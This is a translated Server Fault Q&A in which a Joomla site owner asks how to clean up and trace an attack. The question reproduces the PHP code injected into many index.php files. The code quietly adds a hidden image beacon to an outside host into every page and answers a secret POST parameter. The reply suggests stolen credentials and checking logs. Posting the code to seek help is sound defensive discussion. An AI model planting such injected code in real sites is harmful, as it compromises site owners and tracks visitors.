Php

找出誰入侵了我的網站

  • April 22, 2011

可能重複:

我的伺服器被黑了 緊急

所有的 Joomla!託管在我的單個伺服器上的站點被黑客入侵,並將以下程式碼注入到許多目錄的 index.php 文件中。

   <?php
//{{126104ed

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;

$olderrxxx=error_reporting(0);

function outputxxx_callback($str)
{
 $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="af4dae82ae67843a194c001162"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82ae67843a194c001162&p=1&a=%91P%BC%BCQ%F7%20%7C6%BE%0A8%F52%9C%F5nT%82%8A%C8V%27%A1%1E%85%1B%16%DBh%F2%A3U%10%9Dh%9C%FF%B6t%0F%B2%E9%18"></div></SPAN>';
 preg_match("|</body>|si",$str,$arr);
 return str_replace($arr[0],$links.$arr[0],$str);
}

function StrToNum($Str, $Check, $Magic)
{
  $Int32Unit = 4294967296;
  $length = strlen($Str);
  for ($i = 0; $i < $length; $i++) {
      $Check *= $Magic;
      if ($Check >= $Int32Unit) {
          $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
          $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
      }
      $Check += ord($Str{$i});
  }
  return $Check;
}
function HashURL($String)
{
  $Check1 = StrToNum($String, 0x1505, 0x21);
  $Check2 = StrToNum($String, 0, 0x1003F);

  $Check1 >>= 2;
  $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
  $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
  $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

  $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
  $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

  return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
  $CheckByte = 0;
  $Flag = 0;

  $HashStr = sprintf('%u', $Hashnum) ;
  $length = strlen($HashStr);

  for ($i = $length-1; $i >= 0;  $i--) {
      $Re = $HashStr{$i};
      if (1 === ($Flag % 2)) {
          $Re += $Re;
          $Re = (int)($Re / 10) + ($Re % 10);
      }
      $CheckByte += $Re;
      $Flag ++;
  }

  $CheckByte %= 10;
  if (0 !== $CheckByte) {
      $CheckByte = 10 - $CheckByte;
      if (1 === ($Flag % 2) ) {
          if (1 === ($CheckByte % 2)) {
              $CheckByte += 9;
          }
          $CheckByte >>= 1;
      }
  }

  return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
  $ch = CheckHash(HashURL($url));
  $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
  $data = file_get_contents($file);
  $pos = strpos($data, "Rank_");
  if($pos === false){return -1;} else{
      $pr=substr($data, $pos + 9);
      $pr=trim($pr);
      $pr=str_replace("
",'',$pr);
      return $pr;
  }
}

if(isset($_POST['xxxprch']))
{
   echo getpr($_POST['xxxprch']);
   exit();
}
else
 ob_start('outputxxx_callback');

error_reporting($olderrxxx);
}

//}}861921ab

據我所知,根據所有文件,我的 Joomla!網站是安全的。但是,同一伺服器上的所有這些都同時被黑客入侵。樓主有錯嗎?

有人知道我應該從哪裡開始清理這個爛攤子嗎?除了我的站點備份之外,還有什麼快速的解決方案嗎?

我最大的問題是,將黑客追踪到他/她的站點、伺服器或位置的最佳方法是什麼?作為回報,我真的很想向他們表達我對他們工作的感激之情。

我的猜測是他們用木馬獲得了您伺服器的密碼。盡快檢查您的電腦,特別是如果您將伺服器密碼儲存在任何程序(瀏覽器、ftp 客戶端、總指揮官等)中。順便說一句:我假設您使用的是 Windows

關於追踪黑客,這並不容易。首先檢查發生這種情況時的訪問日誌。您可能會在那裡看到大量的 ftp 活動。查看這些日誌的 IP。如果它們都不同,那麼他可能正在使用殭屍電腦,您不太可能找到他。如果它們都相同,那麼您可能會更幸運一些。

無論如何,這聽起來像是一種自動攻擊。進行搜尋以檢查其他站點(不在您的伺服器中)是否注入了相同的程式碼。

引用自:https://serverfault.com/questions/262341